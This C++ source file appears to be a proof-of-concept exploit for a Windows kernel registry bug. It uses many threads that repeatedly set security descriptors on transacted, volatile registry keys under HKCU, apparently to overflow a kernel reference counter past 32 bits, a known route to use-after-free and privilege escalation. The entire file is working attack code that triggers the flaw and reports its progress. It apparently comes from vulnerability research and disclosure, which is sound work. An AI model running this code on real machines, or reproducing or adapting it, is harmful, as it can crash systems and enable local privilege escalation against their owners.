#define WIN32_NO_STATUS
#include <Windows.h>
#undef WIN32_NO_STATUS
#include <winternl.h>
#include <ntstatus.h>
#include <sddl.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")

extern "C" {

NTSTATUS NTAPI NtCreateRegistryTransaction(PHANDLE, DWORD, POBJECT_ATTRIBUTES, DWORD);
NTSTATUS NTAPI NtSetSecurityObject(HANDLE, SECURITY_INFORMATION, PSECURITY_DESCRIPTOR);

}  // extern "C"

namespace globals {

//
// The global reference counter. 
//
volatile ULONGLONG Refcount = 1;

//
// The maximum refcount value we want to achieve.
//
const ULONGLONG kRefcountLimit = 0x100000100ULL;

}  // namespace globals

DWORD WINAPI ThreadProc(ULONG_PTR ThreadIndex) {
  LSTATUS st;

  //
  // Create a volatile test key under HKCU for the thread.
  //

  SECURITY_ATTRIBUTES sa;
  sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  sa.bInheritHandle = FALSE;

  CONST WCHAR* szSD = L"D:(A;;KA;;;WD)"; // Allow KEY_ALL_ACCESS for Everyone.

  if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(
          szSD, SDDL_REVISION_1, &sa.lpSecurityDescriptor, NULL)) {
    printf("ConvertStringSecurityDescriptorToSecurityDescriptorW failed with "
           "error %u\n", GetLastError());
    return 1;
  }

  WCHAR wchTestKey[20];
  _snwprintf_s(wchTestKey, sizeof(wchTestKey) / sizeof(WCHAR), L"Test\\%.8llx",
               ThreadIndex);

  HKEY hTestKey;
  st = RegCreateKeyExW(HKEY_CURRENT_USER,
                       wchTestKey,
                       0,
                       NULL,
                       REG_OPTION_VOLATILE,
                       KEY_ALL_ACCESS,
                       &sa,
                       &hTestKey,
                       NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegCreateKeyExW failed with error %d\n", st);
    return 1;
  }

  //
  // Create a lightweight registry transaction.
  //

  HANDLE hTrans;
  NTSTATUS Status = NtCreateRegistryTransaction(&hTrans,
                                                TRANSACTION_ALL_ACCESS,
                                                NULL,
                                                0);
  if (!NT_SUCCESS(Status)) {
    printf("NtCreateRegistryTransaction failed with error %.8x\n", Status);
    return 1;
  }

  //
  // Execute the refcount increasing logic.
  //

  CONST ULONGLONG kRefcountLeakBatchSize = 0x200;

  for (;
       globals::Refcount < globals::kRefcountLimit;
       globals::Refcount += kRefcountLeakBatchSize) {

    //
    // Open a nested key in the scope of a transaction.
    //

    WCHAR wchNestedKey[10];
    CONST ULONGLONG SubkeyIndex = globals::Refcount / kRefcountLeakBatchSize;
    CONST DWORD kLeavesPerKey = 0x800;
    CONST ULONGLONG SubkeyIndex1 = SubkeyIndex / kLeavesPerKey,
                    SubkeyIndex2 = SubkeyIndex % kLeavesPerKey;

    _snwprintf_s(wchNestedKey, sizeof(wchNestedKey) / sizeof(WCHAR),
                 L"%.4llx\\%.4llx", SubkeyIndex1, SubkeyIndex2);

    HKEY hTransactedKey;

    st = RegCreateKeyTransactedW(hTestKey,
                                 wchNestedKey,
                                 0,
                                 NULL,
                                 REG_OPTION_VOLATILE,
                                 KEY_ALL_ACCESS,
                                 &sa,
                                 &hTransactedKey,
                                 NULL,
                                 hTrans,
                                 NULL);

    if (st != ERROR_SUCCESS) {
      printf("RegCreateKeyTransactedW failed with error %d\n", st);
      return 1;
    }

    //
    // Set the key security transactionally N times in a row.
    //

    for (ULONGLONG i = 0;
         i < kRefcountLeakBatchSize && globals::Refcount < globals::kRefcountLimit;
         i++) {
      Status = NtSetSecurityObject(hTransactedKey,
                                   DACL_SECURITY_INFORMATION,
                                   sa.lpSecurityDescriptor);

      if (!NT_SUCCESS(Status)) {
        printf("NtSetSecurityObject failed with error %.8x\n", Status);
        return 1;
      }
    }

    //
    // Cleanup.
    //

    RegCloseKey(hTransactedKey);
  }

  return 0;
}

int main(int argc, char **argv) {
  INT Threads = 1;

  if (argc >= 2) {
    Threads = atoi(argv[1]);
  }

  for (INT i = 0; i < Threads; i++) {
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc, (LPVOID)i, 0, NULL);
  }

  ULONGLONG StartTickCount = GetTickCount64();
  ULONGLONG LastTickCount = GetTickCount64(), LastRefcount = 1;

  while (globals::Refcount < globals::kRefcountLimit) {
    Sleep(1000);

    printf("Refcount: %.8llx (%llu / s)\n",
           globals::Refcount,
           ((globals::Refcount - LastRefcount) * 1000ULL) /
           (GetTickCount64() - LastTickCount));

    LastTickCount = GetTickCount64();
    LastRefcount = globals::Refcount;
  }

  printf("It's done, the refcount is %.8llx, time elapsed: %llu ticks\n",
         globals::Refcount, GetTickCount64() - StartTickCount);
  getchar();

  return 0;
}